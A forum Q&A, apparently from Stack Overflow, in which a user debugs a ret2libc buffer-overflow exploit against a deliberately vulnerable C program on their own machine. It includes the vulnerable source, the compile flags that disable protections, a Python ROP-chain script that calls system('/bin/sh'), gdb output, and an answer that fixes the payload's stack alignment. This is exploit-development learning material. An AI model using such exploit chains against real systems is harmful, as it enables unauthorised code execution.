ret2libc attack MOVAPS segfault

Question:

I am trying to exploit a ret2libc vulnerable code in my own machine. Here is the source code.

#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void vuln(char *input);

int main(int argc, char **argv)
{
  if (argc > 1){
    vuln(argv[1]);
  };
  return 0;
}

void vuln(char *input){
  char buffer[256];
  memcpy(buffer, input, 300);
}

Which is vulnerable since there is no border protection.

And this is how I compiled it

gcc -no-pie -fno-stack-protector ret2libc.c -o ret2libc.elf -D_FORTIFY_SOURCE=0 -g

And this is the Python exploitation script.

import sys
import struct

libc_base_address = 0x00007ffff7dbe000
pop_rdi_offset = 0x0000000000023835
bin_sh_offset= 0x198031
system_function_offset = 0x00000000000493d0
exit_function_offset = 0x000000000003b100 

pop_rdi_address = struct.pack("Q",libc_base_address+pop_rdi_offset)
bin_sh_address = struct.pack("Q",libc_base_address+bin_sh_offset)
system_function_address = struct.pack("Q",libc_base_address+system_function_offset)
exit_function_address = struct.pack("Q",libc_base_address+exit_function_offset)

buff = b"A"*256
rbp = b"B"*8

sys.stdout.buffer.write(buff+rbp+pop_rdi_address+bin_sh_address+system_function_address+exit_function_address)

264 bytes further the buffer[256], I am overwriting the return address with the pop_rdi gadget. When it is called, the address of the "/bin/sh" is at the top of the stack. Therefore it will be the first and only argument for the system() function. However when I debug it gdb, I am receiving this;

gef➤  r $(python exploit.py)
Starting program: /home/burak/programming/reverse/vuln2/ret2libc.elf $(python exploit.py)
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0x7ffff7fc8000'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e070b3 in ?? () from /usr/lib/libc.so.6
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x007ffff7f9e260  →  0x007fffffffe518  →  0x007fffffffe95c  →  "ALACRITTY_LOG=/tmp/Alacritty-724115.log"
$rbx   : 0x007fffffffe218  →  0x0000000000000c ("
                                                 "?)
$rcx   : 0x007fffffffe218  →  0x0000000000000c ("
                                                 "?)
$rdx   : 0x0
$rsp   : 0x007fffffffe008  →  0x0000000000000000
$rbp   : 0x007fffffffe078  →  0x0000000000000000
$rsi   : 0x007ffff7f56031  →  0x68732f6e69622f ("/bin/sh"?)
$rdi   : 0x007fffffffe014  →  "////////////"
$rip   : 0x007ffff7e070b3  →   movaps XMMWORD PTR [rsp+0x50], xmm0
$r8    : 0x007fffffffe058  →  0x0000000000000000
$r9    : 0x007fffffffe518  →  0x007fffffffe95c  →  "ALACRITTY_LOG=/tmp/Alacritty-724115.log"
$r10   : 0x8
$r11   : 0x246
$r12   : 0x007ffff7f56031  →  0x68732f6e69622f ("/bin/sh"?)
$r13   : 0x007fffffffe518  →  0x007fffffffe95c  →  "ALACRITTY_LOG=/tmp/Alacritty-724115.log"
$r14   : 0x00000000403df0  →  0x000000004010f0  →  <__do_global_dtors_aux+0> endbr64
$r15   : 0x007ffff7ffd000  →  0x007ffff7ffe2c0  →  0x0000000000000000
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffe008│+0x0000: 0x0000000000000000     ← $rsp
0x007fffffffe010│+0x0008: 0x2f2f2f2fffffffff
0x007fffffffe018│+0x0010: "////////"
0x007fffffffe020│+0x0018: 0x0000000000000000
0x007fffffffe028│+0x0020: 0x0000000000000000
0x007fffffffe030│+0x0028: 0x0000000000000000
0x007fffffffe038│+0x0030: 0x0000000000000000
0x007fffffffe040│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff7e070a4                  mov    QWORD PTR [rsp+0x60], r12
   0x7ffff7e070a9                  mov    r9, QWORD PTR [rax]
   0x7ffff7e070ac                  lea    rsi, [rip+0x14ef7e]        # 0x7ffff7f56031
 → 0x7ffff7e070b3                  movaps XMMWORD PTR [rsp+0x50], xmm0
   0x7ffff7e070b8                  mov    QWORD PTR [rsp+0x68], 0x0
   0x7ffff7e070c1                  call   0x7ffff7eb3710 <posix_spawn>
   0x7ffff7e070c6                  mov    rdi, rbx
   0x7ffff7e070c9                  mov    r12d, eax
   0x7ffff7e070cc                  call   0x7ffff7eb3610 <posix_spawnattr_destroy>
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2libc.elf", stopped 0x7ffff7e070b3 in ?? (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7e070b3 → movaps XMMWORD PTR [rsp+0x50], xmm0
[#1] 0x7ffff7df9100 →  <exit+0> endbr64

Any ideas ?

Asked By: Burak Baris

||

Answers:

Have a look at this: libc's system() when the stack pointer is not 16-padded causes segmentation fault

Assuming pop_rdi_address is the address of pop rdi; ret.
In this case, you popped it once on pop_rdi_address, so rsp is shifted 8-bytes.
It doesn’t align stack on 16-bytes boundary.

I suggest you add ret_address to ret again. It will make it pop twice (because ret is actually pop & jmp), resulting in shifted 16-bytes.

ret_offset = pop_rdi_offset + 1 # `pop rdi` is one byte, so here is `ret`.
...
ret_address = struct.pack("Q",libc_base_address+ret_offset)
...
sys.stdout.buffer.write(buff+rbp+pop_rdi_address+bin_sh_address+ret_address+system_function_address+exit_function_address)

Sidenote: The original vulnerable C code is allocated 256-bytes and memcpy 300-bytes. len(buff+rbp+pop_rdi_address+bin_sh_address+ret_address+system_function_address) is 296-bytes. exit_function_address will only write the first 4-bytes and won’t execute correctly. To solve this, third argument memcpy should increase like memcpy(buffer, input, 500);

Answered By: caedeaki